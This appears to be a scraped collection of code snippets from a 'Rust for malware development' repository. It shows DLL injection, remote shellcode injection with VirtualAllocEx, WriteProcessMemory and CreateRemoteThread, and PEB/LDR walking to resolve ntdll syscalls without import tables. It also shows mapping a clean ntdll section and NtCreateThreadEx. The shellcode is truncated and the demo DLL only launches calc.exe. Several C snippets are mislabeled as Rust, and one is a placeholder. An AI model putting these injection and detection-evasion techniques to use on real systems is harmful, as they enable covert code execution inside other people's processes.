Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/dll_injection/README.md

This Rust code implements a DLL injector tool. It supports multiple injection methods and can target processes by name. This is useful for advanced users and developers interested in process manipulation and dynamic library loading.

```rust
// The actual code for the injector is located at:
// https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/dll_injection/injector.rs
// This snippet is a placeholder representing the injector's functionality.

// Example of how an injector might work (conceptual):
fn main() {
    println!("Rust DLL Injector starting...");
    // Logic to find process, load DLL, and inject would go here.
    // For example:
    // let process_name = "notepad.exe";
    // let dll_path = "C:\\path\\to\\your\\malware.dll";
    // inject_dll(process_name, dll_path);
    println!("DLL Injection attempted.");
}

// Placeholder for the actual injection function
// fn inject_dll(process_name: &str, dll_path: &str) {
//     // Implementation details...
// }

```

--------------------------------

### Initialize Syscall Pointers by Scanning LDR

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt

Provides a function `InitSyscallsFromLdrpThunkSignature` to locate and initialize function pointers for essential NTAPI functions by scanning the loaded modules list (LDR) for ntdll.dll. This method is often used in malware to find necessary API functions without relying on standard import tables.

```c
BOOL InitSyscallsFromLdrpThunkSignature() {
	PPEB Peb = (PPEB)__readgsqword(0x60);
	PPEB_LDR_DATA Ldr = Peb->Ldr;
	PLDR_DATA_TABLE_ENTRY NtdllLdrEntry = NULL;

	for (PLDR_DATA_TABLE_ENTRY LdrEntry = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;
		LdrEntry->DllBase != NULL;
		LdrEntry = (PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink) {
		if (_wcsnicmp(LdrEntry->BaseDllName.Buffer, L"ntdll.dll", 9) == 0) {
			NtdllLdrEntry = LdrEntry;
			printf("[+] Found ntdll.dll: Base=0x%p\n", LdrEntry->DllBase);
			break;
		}
	}

	if (NtdllLdrEntry == NULL) {
		printf("[!] Failed to find ntdll.dll in LDR\n");
		return FALSE;
	}

	PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)NtdllLdrEntry->DllBase + ((PIMAGE_DOS_HEADER)NtdllLdrEntry->DllBase)->e_lfanew);
	
	// ... rest of the function to find and assign function pointers
```

--------------------------------

### Fixed Rust DLL to Launch calc.exe with Proper Handle Management

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/dll_injection/README.md

This revised Rust DLL addresses the issue of multiple calc.exe instances by correctly managing process and thread handles. It employs DLL_PROCESS_ATTACH and DLL_PROCESS_DETACH events to ensure that threads and processes are properly closed, preventing resource leaks and unintended behavior.

```rust
use std::ffi::CString;
use std::os::windows::ffi::OsStrExt;
use std::ptr::{null, null_mut};
use winapi::shared::minwindef::{BOOL, DWORD, HMODULE};
use winapi::um::handleapi::CloseHandle;
use winapi::um::libloaderapi::FreeLibraryAndExitThread;
use winapi::um::processthreadsapi::{
    CreateProcessA, CreateThread,
    PROCESS_INFORMATION,
    STARTUPINFOA,
};
use winapi::um::synchapi::WaitForSingleObject;
use winapi::um::winbase::{CREATE_NEW_CONSOLE, INFINITE};
use winapi::um::winnt::PVOID;

struct ThreadData {
    h_process: PVOID,
    h_thread: PVOID,
    h_module: HMODULE,
}

extern "system" fn thread_proc(lp_param: PVOID) -> DWORD {
    let data = lp_param as *mut ThreadData;
    let process_info = unsafe {&*data};
    unsafe {
        WaitForSingleObject(process_info.h_process, INFINITE);
        CloseHandle(process_info.h_process);
        CloseHandle(process_info.h_thread);
        FreeLibraryAndExitThread(process_info.h_module, 0);
    }
    0
}

#[unsafe(no_mangle)]
pub extern "stdcall" fn DllMain(
    h_module: HMODULE,
    dw_reason: DWORD,
    _lp_reserved: *mut std::ffi::c_void,
) -> BOOL {
    match dw_reason {
        1 => { // DLL_PROCESS_ATTACH
            unsafe {
                let mut startup_info: STARTUPINFOA = std::mem::zeroed();
                startup_info.cb = std::mem::size_of::<STARTUPINFOA>() as u32;

                let mut process_info: PROCESS_INFORMATION = std::mem::zeroed();

                let application_name = match CString::new("C:\\Windows\\System32\\calc.exe") {
                    Ok(cstr) => cstr,
                    Err(_) => return 0,
                };

                let success = CreateProcessA(
                    null(),
                    application_name.as_ptr() as *mut i8,
                    null_mut(),
                    null_mut(),
                    0,
                    CREATE_NEW_CONSOLE,
                    null_mut(),
                    null(),
                    &mut startup_info,
                    &mut process_info,
                );

                if success == 0 {
                    return 0;
                }
            
                let thread_data = Box::into_raw(Box::new(ThreadData {
                    h_process: process_info.hProcess,
                    h_thread: process_info.hThread,
                    h_module,
                }));

                let thread_handle = CreateThread(
                    null_mut(),
                    0,                    
                    Some(thread_proc),   
                    thread_data as PVOID, 
                    0,                   
                    null_mut(),          
                );

                if thread_handle.is_null() {
                    CloseHandle(process_info.hProcess);
                    CloseHandle(process_info.hThread);
                    let _ = Box::from_raw(thread_data);
                    return 0;
                }

                CloseHandle(thread_handle);
                1
            }
        }
        0 => 1, // DLL_PROCESS_DETACH
        _ => 1,
    }
}

```

--------------------------------

### Run Waiting Thread Hijacking Executable with Target PID

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/WaitingThreadHijacking/README.md

This command executes the compiled Waiting Thread Hijacking PoC. It requires the Process ID (PID) of the target process as an argument. Ensure the executable is in your current directory or provide the full path.

```bash
./target/release/WaitingThreadHijacking.exe <PID>
```

--------------------------------

### Remote Process Injection via CreateRemoteThread in Rust

Source: https://context7.com/whitecat18/rust-for-malware-development/llms.txt

Allocates memory in a remote process, writes shellcode to it, and creates a thread to execute the shellcode. Requires the target process ID as a command-line argument. Uses winapi crate for Windows API calls.

```rust
use std::ptr::null_mut;
use winapi::um::{
    memoryapi::{VirtualAllocEx, WriteProcessMemory},
    processthreadsapi::{CreateRemoteThread, OpenProcess},
    winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE},
};

fn main() {
    let buf: [u8; 328] = [0xfc, 0x48, 0x81, 0xe4, /* ... shellcode bytes ... */];

    unsafe {
        let pid = std::env::args().nth(1)
            .expect("Usage: program <PID>")
            .parse::<u32>()
            .expect("Invalid PID");

        let process_handle = OpenProcess(0x000F0000 | 0x00100000 | 0xFFFF, 0, pid);
        println!("[+] OpenProcess: {:?}", process_handle);

        let remote_buffer = VirtualAllocEx(
            process_handle,
            null_mut(),
            buf.len(),
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE,
        );
        println!("[+] VirtualAllocEx: {:?}", remote_buffer);

        WriteProcessMemory(
            process_handle,
            remote_buffer,
            buf.as_ptr() as LPVOID,
            buf.len(),
            null_mut(),
        );

        let remote_thread = CreateRemoteThread(
            process_handle,
            null_mut(),
            0,
            std::mem::transmute(remote_buffer),
            null_mut(),
            0,
            null_mut(),
        );

        println!("[+] CreateRemoteThread successful");
        CloseHandle(process_handle);
    }
}
```

--------------------------------

### Load NTDLL into Section (Rust)

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt

Loads the NTDLL.dll into memory as a section, mapping it for read-only access. This function handles file operations, section creation, and mapping the section into the current process. It returns a pointer to the mapped section or NULL on failure.

```rust
ULONG_PTR LoadNtdllIntoSection() {
	HANDLE hFile = NULL;
	HANDLE hSection = NULL;
	PVOID lpvSection = NULL;
	ULONG_PTR viewSize = 0;
	NTSTATUS ntStatus = 0;

	hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileA failed: 0x%x\n", GetLastError());
		goto Cleanup;
	}

	ntStatus = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL, PAGE_READONLY, SEC_COMMIT, hFile);
	if (!NT_SUCCESS(ntStatus)) {
		printf("[!] NtCreateSection failed: 0x%x\n", ntStatus);
		goto Cleanup;
	}

	ntStatus = NtMapViewOfSection(hSection, GetCurrentProcess(), &lpvSection, NULL, NULL, NULL, &viewSize, 1, 0, PAGE_READONLY);
	if (!NT_SUCCESS(ntStatus)) {
		printf("[!] NtMapViewOfSection failed: 0x%x\n", ntStatus);
		return NULL;
	}

Cleanup:
	if (hSection) CloseHandle(hSection);
	if (hFile) CloseHandle(hFile);
	return (ULONG_PTR)lpvSection;
}
```

--------------------------------

### Create Thread with NtCreateThreadEx in Rust

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt

This snippet obtains a pointer to the NtCreateThreadEx syscall and then uses it to create a new thread. It checks for errors during syscall retrieval and thread creation, printing appropriate messages. The thread is initiated with a dummy address (0x41414141) and the process waits indefinitely if successful.

```Rust
FUNC_NTCREATETHREADEX NtCreateThreadEx = (FUNC_NTCREATETHREADEX)GetSyscall(rgszNames, rgpStubs, uiCount, (PCHAR)"NtCreateThreadEx");
	if (!NtCreateThreadEx) {
		printf("[!] Failed to get NtCreateThreadEx\n");
		return 1;
	}
	NTSTATUS ntStatus;
	HANDLE hThread = NULL;
	ntStatus = NtCreateThreadEx(&hThread, GENERIC_ALL, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)0x41414141, NULL, 0, 0, 0, 0, NULL);
	if (!NT_SUCCESS(ntStatus)) {
		printf("[!] NtCreateThreadEx failed: 0x%x\n", ntStatus);
		return 1;
	}
	printf("[+] Compile Success\n");
	Sleep(INFINITE);
	return 0;
}
```

--------------------------------

### Assembly: Common Syscall Prologue Signature

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/README.md

This is a common sequence of bytes found at the beginning of a syscall stub in x86-64 assembly. It often includes instructions to set up registers and the syscall number, such as the signature `4c 8b d1 b8`.

```assembly
4c 8b d1 b8
```

--------------------------------

### Rust: Execute Cargo Run with Release Build

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/README.md

This command executes the Rust project in release mode for optimized performance. It is the standard way to run the application for production or testing.

```bash
cargo run --release
```

--------------------------------

### Windows: Recursively Clean Rust Projects with PowerShell (Latest)

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/CLEAN.md

This PowerShell command iterates through all subdirectories recursively. For each directory, it checks if a 'Cargo.lock' file exists. If it does, it changes the location to that directory, runs 'cargo clean', and then removes the 'Cargo.lock' file. Error actions are silenced for file removal.

```powershell
Get-ChildItem -Directory -Recurse | ForEach-Object { if (Test-Path "$_Cargo.lock") { Set-Location $_; cargo clean; Remove-Item "Cargo.lock" -ErrorAction SilentlyContinue; Set-Location .. } }
```

--------------------------------

### Rust: Execute Cargo Run with Debug Features

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/README.md

This command executes the Rust project in release mode and enables the 'debug' feature flag. This is useful for enabling additional logging or debugging capabilities during development or troubleshooting.

```bash
cargo run --release --features debug
```

--------------------------------

### Find Byte Sequence in Memory (Rust)

Source: https://github.com/whitecat18/rust-for-malware-development/blob/main/syscalls/parallel_syscalls/parallel_syscalls.cpp.txt

Searches for a specific byte sequence within a given memory region. It iterates through the source memory, comparing chunks with the search pattern. Returns a pointer to the first occurrence of the sequence or NULL if not found. The search is limited by the provided lengths.

```rust
ULONG_PTR FindBytes(ULONG_PTR Source, DWORD SourceLength, ULONG_PTR Search, DWORD SearchLength) {
	while (SearchLength <= SourceLength) {
		if (!memcmp((PBYTE)Source, (PBYTE)Search, SearchLength)) {
			return Source;
		}
		Source++;
		SourceLength--;
	}
	return NULL;
}
```
Tokens:
Raw